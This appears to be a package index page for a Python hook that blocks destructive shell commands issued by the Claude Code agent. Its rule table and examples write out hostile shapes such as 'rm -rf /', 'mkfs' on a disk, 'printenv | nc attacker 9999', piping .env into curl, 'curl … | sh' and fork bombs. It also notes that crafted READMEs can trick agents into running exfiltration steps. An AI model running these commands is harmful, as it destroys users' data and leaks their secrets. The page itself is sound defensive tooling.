A zero-dependency Claude Code PreToolUse guard that blocks destructive shell commands before they run.
Reason this release was yanked:
0.1.2 includes security fixes. Previous version had regressions; please upgrade.
Project description
claude-safety-guard
A loud stop between your Claude Code agent and a destroyed filesystem.
claude-safety-guard is a tiny, zero-dependency Python package that plugs
into Claude Code's PreToolUse hook and blocks the small
set of shell commands that are nearly always a mistake when issued by an
agent: rm -rf /, git push --force to main, curl … | sh, piping
.env into curl, and ~20 other well-known destructive shapes.
It is intentionally a thin regex layer rather than a shell parser. The goal is a loud stop, not silent cleverness: every rule has a stable ID, a human-readable reason, and can be allowlisted individually without losing coverage of the rest of the catalog.
Why this exists
Agents sometimes typo. Sometimes they get confused about which directory they are in. Sometimes an attacker-crafted repository README contains a "setup step" that is actually a data-exfiltration command. A PreToolUse hook is the cheapest place in the stack to say "no, not this one", because it runs before the command hits the shell.
Three design commitments:
- Fail loud, not clever. The catalog is narrow and focused on shapes
that have near-zero false positives in practice. A finding always
surfaces a stable
pattern_idso you can allowlist it if you disagree. - Fail open on the hook itself. If the hook crashes, the agent still works — a broken guard must not brick your workflow.
- Zero runtime dependencies. Pure Python stdlib. Nothing to vendor, nothing to audit.
Install
pip install claude-safety-guard
Requires Python 3.10+.
Quick check it works
claude-safety-guard check -- rm -rf /
# BLOCK rm -rf /
# - [block] fs-rm-rf-root Recursive force-delete targeting the filesystem root or /home. …
# matched: 'rm -rf /'
claude-safety-guard check -- ls -la
# ALLOW ls -la
Wiring it into Claude Code
Edit ~/.claude/settings.json (or your project-local
.claude/settings.json) and add a PreToolUse hook for Bash:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "claude-safety-guard hook"
}
]
}
]
}
}
That's it. The next time Claude Code tries to run a Bash command, the envelope flows through the guard. Blocked commands are denied with a reason Claude Code surfaces back to the model; allowed commands pass through untouched.
A ready-to-copy example lives at
examples/settings.json.
What it catches
| Category | Examples |
|---|---|
| Filesystem | rm -rf /, rm -rf $HOME, rm -rf ., mkfs.ext4 /dev/sda1 |
| Git | git push --force origin main, git reset --hard origin/main |
| Secrets | cat .env | curl …, printenv | nc attacker 9999 |
| Supply-chain | curl … | sh, pip install https://… |
| Privilege / kernel | echo hunter2 | sudo -S …, fork bombs |
| Package managers | apt-get purge * |
Full catalog: docs/PATTERNS.md — or run:
claude-safety-guard list-rules
Every pattern has an ID (fs-rm-rf-root, git-force-push-mainline, …)
that is stable across releases. The catalog is additive: new rules
arrive in minor releases; existing IDs never change their meaning.
Configuration
Config file (TOML) lives at, in priority order:
$CLAUDE_SAFETY_GUARD_CONFIG$XDG_CONFIG_HOME/claude-safety-guard/config.toml~/.config/claude-safety-guard/config.toml
# ~/.config/claude-safety-guard/config.toml
# Silence specific rules. Every entry is a named exception. Unknown IDs
# are dropped with a warning on stderr.
allowlist = [
# "fs-rm-rf-home-var",
# "git-clean-fdx",
]
# If true, BLOCK findings are downgraded to WARN. Useful for a week of
# observation before you turn enforcement on.
dry_run = false
# If true, WARN findings ask the user in Claude Code instead of passing
# through silently.
ask_on_warn = false
Every CLI invocation takes --config PATH to override the lookup.
CLI
claude-safety-guard check <command…> Evaluate and print result (exit 1 on BLOCK).
claude-safety-guard check --json … Machine-readable JSON output.
claude-safety-guard check --dry-run … Downgrade BLOCK to WARN (exit 0).
claude-safety-guard hook Run as the PreToolUse hook (stdin JSON).
claude-safety-guard list-rules Print the full catalog as a table.
claude-safety-guard version Print the version.
For a command with flags, use -- so argparse doesn't grab the flags:
claude-safety-guard check -- rm -rf /
claude-safety-guard check -- git push --force origin main
Library API
The same engine is available as a library if you want to wire the guard into CI, a shell wrapper, or your own agent.
from claude_safety_guard import evaluate
decision = evaluate("rm -rf /")
print(decision.outcome) # Outcome.BLOCK
print(decision.findings[0].pattern_id) # "fs-rm-rf-root"
print(decision.to_dict())
All public types (Decision, Finding, Pattern, Severity,
EvaluationOptions) are frozen dataclasses, so they are safe to pass
between threads and hashable where Python allows.
Threat model & non-goals
The guard is a speed bump, not a sandbox:
- It does not shell-parse. A command inside single-quoted strings
will still fire if the text shape matches, by design. If you
legitimately need to
echo 'rm -rf /' > note.txt, addfs-rm-rf-rootto your allowlist or use a heredoc. Seetests/test_patterns.py::test_string_quoting_is_not_bypassed. - It does not defend against a root-shell adversary who can already
edit
~/.claude/settings.jsonor disable the hook. - It does not attempt anomaly detection, ML, or heuristics. Every rule is an auditable regex with a stable ID.
Security reports: see SECURITY.md.
Contributing
New patterns very welcome, especially if you have a concrete incident that motivated them. See CONTRIBUTING.md. Each new pattern must come with at least one positive test (commands that rightly trigger it) and one negative test (commands that look similar but must not trigger it).
License
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file claude_safety_guard-0.1.0.tar.gz.
File metadata
- Download URL: claude_safety_guard-0.1.0.tar.gz
- Upload date:
- Size: 27.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b88bbd0562f15a55b696a94584bcf822090405b8f94ab14c72ac400de6d51801
|
|
| MD5 |
4120d6abe42bc2a635a6e5fe39cecc03
|
|
| BLAKE2b-256 |
6b93c2250a92eceb57f348a86dbae09366355f7203482b100c285cb0fb707ac3
|
Provenance
The following attestation bundles were made for claude_safety_guard-0.1.0.tar.gz:
Publisher:
release.yml on hinanohart/claude-safety-guard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
claude_safety_guard-0.1.0.tar.gz -
Subject digest:
b88bbd0562f15a55b696a94584bcf822090405b8f94ab14c72ac400de6d51801 - Sigstore transparency entry: 1329907549
- Sigstore integration time:
-
Permalink:
hinanohart/claude-safety-guard@e3a0982b81216d14437869efbfc6b9db0f10c8ef -
Branch / Tag:
refs/tags/v0.1.0 - Owner: https://github.com/hinanohart
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@e3a0982b81216d14437869efbfc6b9db0f10c8ef -
Trigger Event:
push
-
Statement type:
File details
Details for the file claude_safety_guard-0.1.0-py3-none-any.whl.
File metadata
- Download URL: claude_safety_guard-0.1.0-py3-none-any.whl
- Upload date:
- Size: 25.8 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d11eec51963606df8983f75cee37d01b9f7546cf84956495935c8156ffa4895d
|
|
| MD5 |
9191d1318c286510fa692768cd6cb3d4
|
|
| BLAKE2b-256 |
0b1ed75405481727be2fa0df62994553d7efc2483938fe8fad38e5282fc9a240
|
Provenance
The following attestation bundles were made for claude_safety_guard-0.1.0-py3-none-any.whl:
Publisher:
release.yml on hinanohart/claude-safety-guard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
claude_safety_guard-0.1.0-py3-none-any.whl -
Subject digest:
d11eec51963606df8983f75cee37d01b9f7546cf84956495935c8156ffa4895d - Sigstore transparency entry: 1329907596
- Sigstore integration time:
-
Permalink:
hinanohart/claude-safety-guard@e3a0982b81216d14437869efbfc6b9db0f10c8ef -
Branch / Tag:
refs/tags/v0.1.0 - Owner: https://github.com/hinanohart
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@e3a0982b81216d14437869efbfc6b9db0f10c8ef -
Trigger Event:
push
-
Statement type: